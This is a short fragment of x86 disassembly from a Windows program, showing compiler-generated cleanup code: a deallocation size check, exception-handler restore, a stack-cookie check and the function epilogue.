cmp edx, 0x1000
jb 0x494809
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x494809
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005f7bd4
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004827b0
call fcn.004827b0
call fcn.004827b0
int3